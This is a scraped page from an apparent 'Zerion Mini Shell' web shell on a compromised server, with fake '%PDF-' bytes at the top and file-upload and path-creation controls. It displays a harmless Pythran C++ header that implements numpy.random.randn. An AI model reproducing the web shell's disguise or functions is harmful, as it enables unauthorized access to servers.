%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/pythran/pythonic/numpy/random/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/pythran/pythonic/numpy/random/randn.hpp

#ifndef PYTHONIC_NUMPY_RANDOM_RANDN_HPP
#define PYTHONIC_NUMPY_RANDOM_RANDN_HPP

#include "pythonic/include/numpy/random/randn.hpp"

#include "pythonic/numpy/random/standard_normal.hpp"
#include "pythonic/types/ndarray.hpp"
#include "pythonic/types/tuple.hpp"
#include "pythonic/utils/functor.hpp"

PYTHONIC_NS_BEGIN
namespace numpy
{
  namespace random
  {

    template <class... T>
    types::ndarray<double, types::array<long, sizeof...(T)>> randn(T... shape)
    {
      return standard_normal(types::array<long, sizeof...(T)>{{shape...}});
    }

    double randn()
    {
      return standard_normal();
    }
  }
}
PYTHONIC_NS_END

#endif

Zerion Mini Shell 1.0